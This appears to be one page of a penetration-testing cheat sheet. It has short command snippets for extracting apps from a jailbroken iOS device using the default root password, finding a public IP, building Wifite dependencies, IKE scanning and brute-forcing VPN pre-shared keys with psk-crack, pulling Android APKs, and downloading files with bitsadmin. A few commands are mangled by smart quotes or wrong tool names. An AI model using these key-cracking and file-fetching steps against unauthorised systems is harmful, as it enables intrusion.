Since you have a jailbroken iOS device, try installing ipainstaller from Cydia and then use

ipainstaller to extract the app to an .ipa file. Use the following to list all the apps installed on my jailbroken device and grab the bundle id of that app you wish to extract.

### List of IPAs installed:

```
ipainstaller -l
```

### Extract it using:

```

ipainstaller -b <app_bundle>
ssh root@mobiledeviceip
password: alpine
```


# Public IP From Command Line

Derive public IP address of a host from command line

### Derive Public IP address of a host from command line:

```
dig +short myip.opendns.com @resolver1.opendns.com
```

```
curl bot.whatismyaddress.com -w “\n”
```

```
curl ip.tyk.nu -w “\n”
```

```
curl wgetip.com -w “\n”
```

```
curl icanhazip.com
```

```
curl whatismyip.akamai.com -w “\n”
```

```
curl ipecho.net/plain -w “\n”
```

```
curl ident.me -w “\n”
```

```
curl -s http://ifconfig.me -w “\n”
```

```
cat icanhazip.com 80 <<< $’GET / HTTP/1.1\nHost: icanhazip.com\n\n’ | tail -n1
```

```
zenity –info –text “$(curl -s icanhazip.com)”
```


# Wifite

### Wifite Tool Dependancy Fix

### Installation

```
git clone <https://github.com/ZerBea/hcxdumptool.git>
cd hcxdumptool
make
make install
```

#### Then do the same for the hcxtools repository. If compiling either tool fails install the dependencies (as listed in the hcxtools 'Requirements' section):

```
apt-get update
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
```


# IKE Scan

A basic use of ike-scan with different command based scenarios

### Using to check for Main mode and aggressive mode:

```
ike-scan 192.168.207.134
sudo ike-scan -A 192.168.207.134
sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
```

### Brute force:

```
psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations
```

```
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations
```

### Dictionary attack:

```
$psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode
no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)
```


# Grep

Optimising use of grep in different scenarios

## Grep specific words in a list of files:

### Option 1

```
grep -rl "word to search" * (searrches all files in current directory)
```

### Option 2

```
grep -rl "word to search" <destination of fille/s>
```


# Pulling APKs

A guide to pulling APK files from an Android device

### **Determine the package name of the app, e.g. "com.example.someapp". Skip this step if you already know the package name.**

```
adb shell pm list packages
```

Look through the list of package names and try to find a match between the app in question and the package name. This is usually easy, but note that the package name can be completely unrelated to the app name. If you can't recognize the app from the list of package names, try finding the app in Google Play using a browser. The URL for an app in Google Play contains the package name.

### **Get the full pathname of the APK file for the desired package.**

```
adb shell pm path com.example.someapp
```

### **The output will look something like:**

```
package:/data/app/com.example.someapp-2.apk
package:/data/app/com.example.someapp-nfFSVxn_CTafgra3Fr_rXQ==/base.apk
```

### **Using the full pathname from Step 2, pull the APK file from the Android device to the development box.**

```
adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination
```


# Bitsadmin

Using bitsadmin to download files using Windows command prompt

```
bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:\10mb.zip
```




---

[Next Page](/llms-full.txt/1)

